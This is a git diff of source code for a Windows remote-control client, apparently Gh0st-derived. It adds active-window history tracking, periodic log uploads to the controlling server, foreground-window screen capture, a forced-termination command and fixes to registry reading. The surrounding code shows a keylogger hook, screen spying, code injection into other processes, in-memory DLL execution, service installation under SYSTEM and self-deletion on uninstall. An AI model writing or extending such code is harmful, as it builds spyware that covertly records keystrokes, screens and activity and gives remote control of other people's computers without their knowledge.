<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
@@ -220,10 +226,12 @@
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="CursorInfo.h" />
@@ -234,6 +242,10 @@
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />

View File

@@ -41,6 +41,10 @@
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="session.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="SessionMonitor.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\file_upload.h" />
@@ -89,6 +93,10 @@
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="session.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="SessionMonitor.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />

View File

@@ -0,0 +1,44 @@
#include "stdafx.h"
#include "ClientLogManager.h"
#include "../common/commands.h"
#include "../common/logger.h"
CClientLogManager::CClientLogManager(IOCPClient* ClientObject, int n, void* p)
: CManager(ClientObject, n, p)
, m_sentIdx(0)
, m_running(true)
{
SendLogDump();
m_pushThread = std::thread([this]() {
while (m_running && m_ClientObject->IsConnected()) {
for (int i = 0; i < 30 && m_running; ++i)
Sleep(100);
if (m_running && m_ClientObject->IsConnected())
SendLogDump();
}
});
}
CClientLogManager::~CClientLogManager()
{
m_running = false;
if (m_pushThread.joinable())
m_pushThread.join();
}
VOID CClientLogManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength >= 1 && szBuffer[0] == COMMAND_QUERY_LOG)
SendLogDump();
}
void CClientLogManager::SendLogDump()
{
std::lock_guard<std::mutex> lock(m_sendMutex);
std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx);
std::vector<BYTE> pkt(1 + logs.size());
pkt[0] = TOKEN_REPORT_LOG;
if (!logs.empty())
memcpy(pkt.data() + 1, logs.data(), logs.size());
Send(pkt.data(), (UINT)pkt.size());
}

21
client/ClientLogManager.h Normal file
View File

@@ -0,0 +1,21 @@
#pragma once
#include "Manager.h"
#include <atomic>
#include <mutex>
#include <thread>
class CClientLogManager : public CManager
{
public:
CClientLogManager(IOCPClient* ClientObject, int n = 0, void* p = nullptr);
~CClientLogManager();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
private:
void SendLogDump();
size_t m_sentIdx;
std::mutex m_sendMutex;
std::atomic<bool> m_running;
std::thread m_pushThread;
};

View File

@@ -14,6 +14,7 @@
#include "VideoManager.h"
#include "KeyboardManager.h"
#include "ProxyManager.h"
#include "ClientLogManager.h"
#include "KernelManager.h"
#include <iniFile.h>
@@ -69,7 +70,10 @@ DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::strin
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
ClientObject->SetVerifyInfo(msg, signature);
CScreenManager m(ClientObject, 32, (void*)1, TRUE);
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
UserParam* user = new UserParam{ new BYTE[3], 3 };
memcpy(user->buffer, bToken + 1, 3);
CScreenManager m(ClientObject, 32, (void*)user, TRUE);
if (IsWindows8orHigher()) {
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
} else {
@@ -149,3 +153,8 @@ DWORD WINAPI LoopProxyManager(LPVOID lParam)
{
return LoopManager<CProxyManager, 0>(lParam);
}
DWORD WINAPI LoopClientLogManager(LPVOID lParam)
{
return LoopManager<CClientLogManager, COMMAND_QUERY_LOG>(lParam);
}

View File

@@ -36,3 +36,4 @@ DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);
DWORD WINAPI LoopClientLogManager(LPVOID lParam);

View File

@@ -30,10 +30,12 @@ inline int WSAGetLastError()
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
#include "common/zstd_wrapper.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
#else
#pragma comment(lib, "zstd/zstd.lib")
#ifdef _WIN32
# ifdef _WIN64
# pragma comment(lib, "zstd/zstd_x64.lib")
# else
# pragma comment(lib, "zstd/zstd.lib")
# endif
#endif
#define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p))
@@ -184,8 +186,7 @@ bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
{
std::lock_guard<std::mutex> lk(m_authMtx);
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
const ConnAuthAck* ack = (const ConnAuthAck*)buf;
m_authStatus = ack->status;
m_authStatus = (int)buf[1]; // ConnAuthAck::status at byte offset 1; avoids misaligned uint64_t cast
m_authPending = false;
}
m_authCv.notify_all();
@@ -477,6 +478,13 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
if (ret == 0) {
m_bWorkThread = S_RUN;
m_bIsRunning = TRUE;
// Store pthread_t so subsequent ConnectServer calls (reconnects) find
// m_hWorkThread != NULL and reuse this thread instead of spawning a new
// one. Multiple concurrent threads racing on the same socket would tear
// the TCP stream and prevent any complete command from being delivered.
// SAFE_CLOSE_HANDLE and CloseHandle are no-ops on Android, so the value
// is never dereferenced as a kernel handle.
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
}
#endif
}

View File

@@ -342,6 +342,7 @@ protected:
void *m_main = NULL;
public:
BOOL m_isAuth = FALSE;
std::string m_LoginMsg; // 登录消息摘要
std::string m_LoginSignature; // 登录消息签名
};

View File

@@ -39,11 +39,18 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
// 创建工作线程(如果需要)
if (m_hWorkThread == NULL) {
#ifdef _WIN32
m_bIsRunning = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
m_bIsRunning = m_hWorkThread ? TRUE : FALSE;
#else
pthread_t id = 0;
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
int ret = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
if (ret == 0) {
m_bWorkThread = S_RUN;
m_bIsRunning = TRUE;
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
}
#endif
}

View File

@@ -10,6 +10,7 @@
#include <fstream>
#include <corecrt_io.h>
#include "ClientDll.h"
#include "ActivityHistory.h"
#include "MemoryModule.h"
#include "common/dllRunner.h"
#include "server/2015Remote/pwd_gen.h"
@@ -23,6 +24,7 @@
#include "common/DateVerify.h"
#include "common/LANChecker.h"
#include "common/scheduler.h"
#include "session.h"
extern "C" {
#include "ServiceWrapper.h"
}
@@ -50,11 +52,12 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
return NULL;
}
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP)
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP, BOOL isAuth)
{
ThreadInfo *tKeyboard = new ThreadInfo();
tKeyboard->run = FOREVER_RUN;
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
sub->m_isAuth = isAuth;
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
tKeyboard->p = sub;
tKeyboard->conn = conn;
@@ -80,11 +83,6 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
m_hKeyboard = kb;
// C2C 初始化
if (conn) m_MyClientID = conn->clientID;
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
static int n = RestoreMemDLL();
if (n) {
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
}
}
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
@@ -280,10 +278,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
}
else {
else if (This){
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r || (time(0)-start < 15)) {
if (This && (r || (time(0)-start < 15))) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
@@ -304,10 +302,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
}
else {
else if (This){
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r || (time(0)-start < 15)) {
if (This && (r || (time(0)-start < 15))) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
@@ -331,7 +329,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed");
Mprintf("%s\n", buf);
ClientMsg msg("代码注入", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
if (This)This->SendData((LPBYTE)&msg, sizeof(msg));
}
SAFE_DELETE(dll);
SAFE_DELETE(runner);
@@ -648,8 +646,9 @@ std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHa
return "";
}
int CKernelManager::RestoreMemDLL() {
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile *m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This) {
binFile bin(CLIENT_PATH);
std::map<std::string, std::vector<BYTE>> m_MemDLL;
// 枚举所有以 .md5 结尾的值名称
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
@@ -707,7 +706,7 @@ int CKernelManager::RestoreMemDLL() {
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
BYTE* data = m_MemDLL[md5].data();
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, This), 0, NULL));
// 更新注册表中的运行时状态
// 如果有时间间隔限制,更新 LastRunTime
@@ -727,7 +726,7 @@ int CKernelManager::RestoreMemDLL() {
}
}
return count;
return m_MemDLL;
}
template<typename T = DllExecuteInfo>
@@ -798,6 +797,9 @@ void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size
client->Send2Server((char*)&msg, sizeof(msg));
}
extern "C" bool IsSystemInSession0();
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -810,6 +812,27 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
std::string publicIP = m_ClientObject->GetClientIP();
switch (szBuffer[0]) {
case COMMAND_FORBIDDEN: {
TerminateProcess(GetCurrentProcess(), 0);
break;
}
case COMMAND_QUERY_LOG: {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth();
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_QUERY_ACTIVITY: {
// 主连接一次性快照:直接 dump 历史活动并回传
std::string text = ActivityHistory::Instance().Dump();
std::vector<BYTE> pkt(1 + text.size());
pkt[0] = TOKEN_REPORT_ACTIVITY;
if (!text.empty())
memcpy(pkt.data() + 1, text.data(), text.size());
m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
break;
}
case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1);
m_cfg->SetStr("settings", "group_name", group);
@@ -955,6 +978,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (!ENABLE_SCREEN) {
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
}
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
return RunRoundRobinAgent(TOKEN_PRIVATESCREEN);
}
char h[100] = {};
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
std::string hash = std::string(h, h + 64);
@@ -1162,6 +1189,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
BYTE bToken = COMMAND_BYE;// 被控端退出
m_ClientObject->Send2Server((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT;
if (m_conn->iStartup == Startup_TestRunMsc || m_conn->iStartup == Startup_GhostMsc || IsSystemInSession0()) {
ServiceWrapper_Uninstall();
}
self_del(10);
Mprintf("======> Client uninstall \n");
break;
@@ -1215,6 +1245,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (!ENABLE_SCREEN) {
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
}
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
return RunRoundRobinAgent(COMMAND_SCREEN_SPY);
}
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
@@ -1345,6 +1379,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
case COMMAND_SEND_FILE_V2: {
// 主连接接收 V2 上传确保文件传输模块已初始化RecvFileChunkV2 依赖 g_status==1
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
static bool s_v2RecvInited = false;
if (!s_v2RecvInited) {
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
s_v2RecvInited = true;
}
// C2C/V2 文件接收RecvFileChunkV2 内部会打印进度)
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
nullptr, m_hash, m_hmac, m_MyClientID);

View File

@@ -25,7 +25,7 @@
// 根据配置决定采用什么通讯协议
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, BOOL isAuth = FALSE);
class ActivityWindow
{
@@ -40,6 +40,24 @@ public:
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
}
// 返回当前活跃窗口标题若空闲idle ≥ threshold_ms或取不到标题则返回空串。
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return std::string();
return GetActiveWindowTitle();
}
// 返回当前前台窗口句柄空闲idle ≥ threshold_ms返回 NULL。
// 历史活动按窗口HWND而非标题字符串累计标题动态变化时不会反复归零。
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return NULL;
return GetForegroundWindow();
}
private:
std::string FormatMilliseconds(DWORD ms)
{
@@ -184,7 +202,6 @@ public:
uint64_t m_MyClientID = 0;
// 执行代码
std::map<std::string, std::vector<BYTE>> m_MemDLL;
int RestoreMemDLL();
void SetLoginMsg(const std::string& msg)
{
m_LoginMsg = msg;
@@ -295,4 +312,6 @@ public:
}
};
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile* m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This = NULL);
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)

View File

@@ -52,10 +52,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
clip::set_error_handler(NULL);
#endif
m_bIsOfflineRecord = offline;
CKernelManager* main = (CKernelManager*)pClient->GetMain();
BOOL isAuth = main ? main->IsAuthKernel() : FALSE;
char path[MAX_PATH] = { "C:\\Windows\\" };
if (!isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
if (!pClient->m_isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
std::string fileName = GetExeHashStr() + ".db";
GET_FILEPATH(path, fileName.c_str());
strcpy_s(m_strRecordFile, path);
@@ -681,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
return -1;
}
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
#else
int num = lstrlen(KeyBuffer);
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {

View File

@@ -119,21 +119,38 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
// 限制失败日志频率:锁屏/无交互桌面/权限不足(如 ERROR_ACCESS_DENIED=5
// 这些错误会随调用循环每秒触发、刷屏严重,这里最多每分钟记录一次。
DWORD err = GetLastError(); // 立即捕获 OpenInputDesktop 的错误,避免后续调用覆盖
static DWORD s_lastDesktopFailLog = 0;
DWORD now = GetTickCount();
bool logDue = (now - s_lastDesktopFailLog >= 60000);
if (logDue)
s_lastDesktopFailLog = now;
if (logDue)
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", err);
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
if (hWinSta) {
SetProcessWindowStation(hWinSta);
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", err);
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenDesktop Default failed: %d\n", err);
}
}
} else {
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenWindowStation failed: %d\n", err);
}
}
return hInputDesktop;

View File

@@ -9,6 +9,14 @@
#if ENABLE_REGISTRY
// 与 RegisterOperation.cpp 的 REGMSG 同构int count + DWORD size + DWORD valsize = 12 字节),
// 此处仅用于构造"空结果包"count=0无需跨文件共享完整定义。
struct REGMSG {
int count; //名字个数
DWORD size; //名字大小
DWORD valsize; //值大小
};
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -46,17 +54,28 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
if(szPath!=NULL) {
Opt.SetPath(szPath);
}
// 子键包TOKEN_REG_PATH无子键时也回传空包保证服务端含 MCP 无头查询)
// 能确定性收齐 PATH+KEY 两包,无需靠超时猜测是否有第二包。
char *szBuffer= Opt.FindPath();
if(szBuffer!=NULL) {
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
//目录下的目录
LocalFree(szBuffer);
} else {
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_PATH;
m_ClientObject->Send2Server(empty, sizeof(empty));
}
// 值包TOKEN_REG_KEY同上无值时也回传空包。
szBuffer = Opt.FindKey();
if(szBuffer!=NULL) {
//目录下的文件
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
} else {
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_KEY;
m_ClientObject->Send2Server(empty, sizeof(empty));
}
}

View File

@@ -21,10 +21,13 @@ enum MYKEY {
enum KEYVALUE {
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
MREG_SZ, // REG_SZ
MREG_DWORD, // REG_DWORD
MREG_BINARY, // REG_BINARY
MREG_EXPAND_SZ, // REG_EXPAND_SZ
MREG_MULTI_SZ, // REG_MULTI_SZ
MREG_QWORD, // REG_QWORD
MREG_NONE // REG_NONE / 未知类型
};
struct REGMSG {
@@ -70,7 +73,7 @@ char* RegisterOperation::FindPath()
char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameCount,NameMaxLen;
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
//这就是枚举了
@@ -93,7 +96,7 @@ char* RegisterOperation::FindPath()
REGMSG msg; //数据头
msg.size=KeySize;
msg.count=KeyCount;
memcpy(szBuffer+1,(void*)&msg,Size);
memcpy(szBuffer+1,(void*)&msg,sizeof(REGMSG));
char * szTemp=new char[KeySize];
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
@@ -124,7 +127,7 @@ char* RegisterOperation::FindKey()
char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
//这就是枚举了
@@ -167,17 +170,17 @@ char* RegisterOperation::FindKey()
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
NULL,&Type,szValueData,&DataSize);//读取键值
if(Type==REG_SZ) {
szTemp[0]=MREG_SZ;
}
if(Type==REG_DWORD) {
szTemp[0]=MREG_DWORD;
}
if(Type==REG_BINARY) {
szTemp[0]=MREG_BINARY;
}
if(Type==REG_EXPAND_SZ) {
szTemp[0]=MREG_EXPAND_SZ;
// 值类型映射REG_SZ/DWORD/BINARY/EXPAND_SZ 之外补 MULTI_SZ/QWORD/NONE
// 未识别类型一律 MREG_NONE避免误报为 REG_SZ)。
switch (Type) {
case REG_SZ: szTemp[0] = MREG_SZ; break;
case REG_EXPAND_SZ: szTemp[0] = MREG_EXPAND_SZ; break;
case REG_MULTI_SZ: szTemp[0] = MREG_MULTI_SZ; break;
case REG_DWORD: szTemp[0] = MREG_DWORD; break;
case REG_QWORD: szTemp[0] = MREG_QWORD; break;
case REG_BINARY: szTemp[0] = MREG_BINARY; break;
case REG_NONE: szTemp[0] = MREG_NONE; break;
default: szTemp[0] = MREG_NONE; break;
}
szTemp+=sizeof(BYTE);
strcpy(szTemp,szValueName);

View File

@@ -170,6 +170,8 @@ public:
// 感兴趣区域 (ROI)
RECT m_ROI = {0,0,0,0};
bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化)
HWND m_NextTargetWnd = NULL; // 重建时应切换的目标窗口NULL=保持原 HWND
int m_nScaleSendWidth = 0;
int m_nScaleSendHeight = 0;
@@ -859,6 +861,7 @@ public:
void ensureEncoder(int width, int height)
{
if (m_encoder) return;
if (width < 2 || height < 2) return; // x264 做偶数对齐 &~11→0触发内部 strdup 泄漏;< 2 一并拦住
EncoderRequest req;
req.width = width;
req.height = height;

View File

@@ -31,6 +31,9 @@
#include <audioclient.h>
#include <functiondiscoverykeys_devpkey.h>
#include <cstdint>
extern "C" uint32_t licenseGetBuildTag() { volatile uint32_t tag = 0xC0DE2026u; return tag; }
bool IsWindows8orHigher()
{
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
@@ -152,8 +155,9 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
m_ScreenSettings.CustomCursor = cfg.GetInt("settings", "CustomCursor", 0);
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
m_ScreenSettings.QualityLevel = quality;
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
m_ScreenSettings.EncodeLevel = cfg.GetInt("settings", "EncodeLevel", LEVEL_H264_SOFT);
@@ -185,6 +189,7 @@ bool CScreenManager::RestartScreen(BOOL switchScreen)
m_bIsWorking = FALSE;
DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
if (s == WAIT_TIMEOUT) {
Mprintf("TerminateThread: 截屏工作线程 handle=%p threadId=%lu\n", m_hWorkThread, GetThreadId(m_hWorkThread));
TerminateThread(m_hWorkThread, 0x20260215);
}
@@ -467,10 +472,23 @@ void CScreenManager::InitScreenSpy()
BOOL switchScreen = m_SwitchScreen;
if (!(user == NULL || ((int)user) == 1)) {
UserParam* param = (UserParam*)user;
if (param) {
if (param && param->length>0) {
DXGI = param->buffer[0];
algo = param->length > 1 ? param->buffer[1] : algo;
all = param->length > 2 ? param->buffer[2] : all;
// buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获;
// 值为 (uint64_t)-1 时进入动态前景模式,每帧自动跟踪当前前景窗口
if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd && !m_bDynamicForeground) {
uint64_t hwnd64 = 0;
memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t));
if (hwnd64 == (uint64_t)-1) {
m_bDynamicForeground = true;
m_hTargetWnd = GetForegroundWindow();
Mprintf("CScreenManager: 动态前景窗口模式,初始 HWND=%p\n", m_hTargetWnd);
} else if (hwnd64) {
m_hTargetWnd = (HWND)(UINT_PTR)hwnd64;
}
}
}
m_pUserParam = param;
} else {
@@ -481,6 +499,11 @@ void CScreenManager::InitScreenSpy()
if (level >= 0 && level < QUALITY_COUNT) {
algo = m_QualityProfiles[level].algorithm;
}
// 窗口捕获必须走 GDIPrintWindowScreenCapturerDXGI 无窗口捕获能力
if ((m_hTargetWnd || m_bDynamicForeground) && DXGI == USING_DXGI) {
DXGI = USING_GDI;
Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n");
}
// 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单
m_ScreenSettings.ScreenType = DXGI;
Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
@@ -531,12 +554,16 @@ void CScreenManager::InitScreenSpy()
} else {
SAFE_DELETE(s);
m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
